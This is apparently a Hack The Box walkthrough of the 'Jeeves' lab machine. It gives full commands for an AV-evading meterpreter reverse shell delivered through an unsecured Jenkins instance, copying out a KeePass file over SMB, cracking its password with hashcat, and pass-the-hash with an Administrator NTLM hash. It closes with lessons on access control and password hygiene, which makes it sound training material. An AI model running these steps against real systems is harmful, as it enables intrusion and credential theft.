Jeeves demonstrates the seriousness of securing access to applications, and the importance of practising good password hygiene.
First, I take advantage of broken access controls on a Jenkins installation to obtain remote code execution (RCE) and gain a foothold on the system.
Next, I locate a KeePass database and due to bad password practices, I am able to crack the database and obtain the NTLM hash of an Administrator.
Finally, I use a technique called pass the hash to fully compromise the system.
Hacking the box
To start things off, I run a standard nmap scan.
nmap -sC -sV -oA jeeves 10.10.10.63
The results show a website running on port 80 using IIS, and another HTTP service on port 50000 using Jetty.
Browing to the site shows us the AskJeeves search engine which, kicks me right in the nostalgia.
I enter a search term and .NET throws a SQL exception.
At this point I thought I would be dealing with a SQL injection vulnerability, however, upon closer inspection, I'm simply being trolled. This is a static image, not a genuine .NET error.
Well played Jeeves, well played ...
Next I fired off a directory brute force attack using
gobuster -u http://10.10.10.63 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50
gobuster scan failed to produce anything, I started to think that this might be a rabbit hole that leads nowhere. I decided to move on with the consideration of coming back if the other currently unexplored services bare no fruit.
Browsing to the server on port 50000 doesn't reveal much. The default page exposes that it's running on Jetty and the version number, but nothing I didn't already get from nmap.
Just like the web service on port 80, I attempt a dictionary brute force attack on the Jetty web server. This time I land a hit.
gobuster -u http://10.10.10.63:50000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50
I browse to /askjeeves and hit the jackpot. I land on the administration panel of a Jenkins installation that provides me with unauthenticated administrative access to the platform.
Jenkins is an open source automation platform, whereby one of its core features is to use 'build agents' to execute code. I thought that this would be the best avenue for exploitation as I could use the system itself to deliver and execute my malicious payload.
On my Kali machine, I use unicorn to generate shellcode that will be executed in memory (therefore avoiding AV) to spawn a PowerShell process to return a reverse meterpreter shell. I then use the Jenkins build agent to execute the payload.
First I clone the
unicorn repo to /opt/powershell
git clone https://github.com/trustedsec/unicorn.git /opt/powershell/unicorn
unicorn.py with parameters to encode a reverse tcp meterpreter shell.
python /opt/powershell/unicorn/unicorn.py windows/meterpreter/reverse_tcp 10.10.15.216 1337
This will generate two files.
- unicorn.rc - This a ruby script that will fire up Metasploit and start a listener based on what parameters we sent through to
- powershell_attack.txt - This is the encoded payload to be executed on the remote system.
I start the reverse listener in Metasploit by using the
-r parameter, and specifying the location of
msfconsole -r ./unicorn.rc
This should result in a new meterpreter session, with a reverse handler ready and listening.
With the listener ready to go, it's time to deliver the reverse shell payload. I browse back to the Jenkins server and create a new Freestyle project.
I add a new build step to execute a Windows batch command
And in the command box, I copy the contents of the powershell_attack.txt that was generated by
I then save and run the build.
When the build runs, the PowerShell payload is executed, and I successfully get my reverse shell in Metasploit.
On the desktop of user kohsuke sits the flag.
c:UserskohsukeDesktop>dir dir Volume in drive C has no label. Volume Serial Number is BE50-B1C9 Directory of c:UserskohsukeDesktop 11/03/2017 11:19 PM . 11/03/2017 11:19 PM .. 11/03/2017 11:22 PM 32 user.txt 1 File(s) 32 bytes 2 Dir(s) 6,918,385,664 bytes free
user flag obtained!
Cracking the KeePass database
After spending some time enumerating the system, I come across a password protected (encrypted) KeyPass file located in the user's Documents folder.
c:UserskohsukeDocuments>dir dir Volume in drive C has no label. Volume Serial Number is BE50-B1C9 Directory of c:UserskohsukeDocuments 11/03/2017 11:18 PM . 11/03/2017 11:18 PM .. 09/18/2017 01:43 PM 2,846 CEH.kdbx 1 File(s) 2,846 bytes 2 Dir(s) 6,918,385,664 bytes free
To transfer this file over to my system, I use
impacket-smbserver on my Kali host to start an smb server that hosts a shared folder called share.
impacket-smbserver share ~/htb/jeeves/smb/
On Jeeves, I map a network drive to the share and copy over the Keypass file.
c:UserskohsukeDocuments>net use x: \10.10.15.78share net use x: \10.10.15.78share The command completed successfully. c:UserskohsukeDocuments>copy CEH.kdbx X: copy CEH.kdbx X: 1 file(s) copied. c:UserskohsukeDocuments>
keepass2john I extract the password hash of the Keypass database.
[email protected]:~/htb/jeeves/smb# keepass2john CEH.kdbx > kp.hash
keepass2john will automatically prepend the name of the file to the begining of the hash. This causes a problem when we want to pass it to another application (such as
hashcat) to crack it, as it's not expecting the file name to be present. So using a text editor, I remove the file name (in this case,
CEH:) from kp.hash. After doing so, the hash looks like this.
[email protected]:~/htb/jeeves/smb# cat kp.hash $keepass$*2*6000*222*1af405cc00f979ddb9bb387c4594fcea1fd01a6a0757c000e1873f3c71941d3d*3869fe357ff2d7db1555cc668d1d606b1dfaf02b9dba2621cbe9ecb63c7a4091*393c97beafd8a820db9142a6a94f03f6*b73766b61e656351c3aca0282f1617511031f0156089b6c5647de4671972fcff*cb409dbc0fa660fcffa4f1cc89f728b68254db431a21ec33298b612fe647db48
Next, I use
hashcat to crack the password hash of the KeePass database.
hashcat requires that you specify the mode, which is basically the type of hashing algorithm used to encrypt the password hash. Grepping the hashcat help reveals the mode I'm looking for is 13400.
[email protected]:~/htb/jeeves/smb# hashcat --help | grep -i keepass 13400 | KeePass 1 (AES/Twofish) and KeePass 2 (AES) | Password Managers
I fire off
hashcat and crack the password in just over a minute. The password to the KeePass database is moonshine1.
Pass the hash
Now that I've cracked the KeePass database, let's take a look at that juicy loot!
I install KeePass2 (
apt install keepass2) and open up the file using the cracked password.
After taking a look around, there's only two passwords that are of real interest.
- DC Recovery PW -
- Backup stuff -
The DC Recovery Password is only useful if we have a domain controller, so I focus my efforts on #2 which looks to be an NTLM hash.
Instead of trying to crack the NTLM hash to translate it into a plain text password, I use a technique called pass the hash.
Pass the hash is a hacking technique that allows an attacker to authenticate to a remote server or service by using the underlying NTLM or LanMan hash of a user's password, instead of requiring the associated plaintext password as is normally the case.
Back in Metasploit, I load up the
msf > use exploit/windows/smb/psexec
I set the payload to a reverse tcp meterpreter shell, and configure all the networking options.
msf exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(windows/smb/psexec) > set LHOST tun0 LHOST => 10.10.15.78 msf exploit(windows/smb/psexec) > set LPORT 443 LPORT => 443 msf exploit(windows/smb/psexec) > set RHOST 10.10.10.63 RHOST => 10.10.10.63
Next I set the SMBUSER options, specifiying the NTLM hash as the password.
msf exploit(windows/smb/psexec) > set SMBUSER Administrator SMBUSER => Administrator msf exploit(windows/smb/psexec) set SMBPASS aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 SMBPASS => aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
Finally, I trigger the exploit.
msf exploit(windows/smb/psexec) exploit [*] Started reverse TCP handler on 10.10.15.36:4444 [*] 10.10.10.63:445 - Connecting to the server... [*] 10.10.10.63:445 - Authenticating to 10.10.10.63:445 as user 'Administrator'... [*] 10.10.10.63:445 - Selecting PowerShell target [*] 10.10.10.63:445 - Executing the payload... [+] 10.10.10.63:445 - Service start timed out, OK if running a command or non-service executable... [*] Sending stage (179779 bytes) to 10.10.10.63 [*] Meterpreter session 1 opened (10.10.15.78:4444 -> 10.10.10.63:49691) at 2018-01-30 15:38:31 +1100
I then drop into a shell and check privileges.
meterpreter > shell Process 2856 created. Channel 1 created. Microsoft Windows [Version 10.0.10586] (c) 2015 Microsoft Corporation. All rights reserved. C:Windowssystem32>whoami whoami nt authoritysystem
Alternate data streams
I quickly go browsing for the root flag, but it looks like the challenge isn't over yet...
c:UsersAdministratorDesktop>dir dir Volume in drive C has no label. Volume Serial Number is BE50-B1C9 Directory of c:UsersAdministratorDesktop 05/20/2018 04:37 AM . 05/20/2018 04:37 AM .. 12/24/2017 03:51 AM 36 hm.txt 1 File(s) 36 bytes 2 Dir(s) 6,913,200,128 bytes free c:UsersAdministratorDesktop>type hm.txt type hm.txt The flag is elsewhere. Look deeper.
Look deeper eh? Let's do just that.
The NTFS file system includes support for alternate data streams. This is not a well-known feature and was included, primarily, to provide compatibility with files in the Macintosh file system. Alternate data streams allow files to contain more than one stream of data. Every file has at least one data stream. In Windows, this default data stream is called :$DATA.
I background my meterpreter shell with
CTRL + Z, and load a new PowerShell session.
c:UsersAdministratorDesktop>^Z Background channel 1? [y/N] y meterpreter > load powershell Loading extension powershell...Success. meterpreter > powershell_shell PS >
Using PowerShell I can quickly check
hm.txt for an alternate data stream.
PS > cd c:usersAdministratorDesktop PS > Get-Item hm.txt -stream * FileName: C:usersAdministratorDesktophm.txt Stream Length ------ ------ :$DATA 36 root.txt 34 PS >
Here I can see the default data stream of
:$DATA, but also another datastream called
root.txt. Reading the contents of the root.txt datastream is easy.
PS > Get-Content hm.txt -stream root.txt
root flag obtained!
Boy o' boy, this was a fun challenge! There was a lot going on in this one, but everything comes back to two vulnerabilities.
- broken access controls (#5 on the OWASP Top 10 for 2017)
- password strength
Jenkins displays a great example of broken access controls. OWASP describes this as:
Restrictions on what authenticated users are allowed to do are often not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access other users' accounts, view sensitive files, modify other users’ data, change access rights, etc.
Without the implementation of proper access controls on the Jenkins installation, I was able to execute any code I wanted on the remote system.
When configuring an application, or even writing your own, always ensure you are implementing controls that correctly scope and restrict access to the application's functions and data.
The KeePass database file demonstrates an example of insufficient password strength.
Password strength is a measure of the effectiveness of a password against guessing or brute-force attacks. In its usual form, it estimates how many trials an attacker who does not have direct access to the password would need, on average, to guess it correctly. The strength of a password is a function of length, complexity, and unpredictability.
Practising good password hygiene is the only way to prevent this kind of vulnerability.
For more information on this topic, and five simple steps to create a strong password, check out my post on good password hygiene.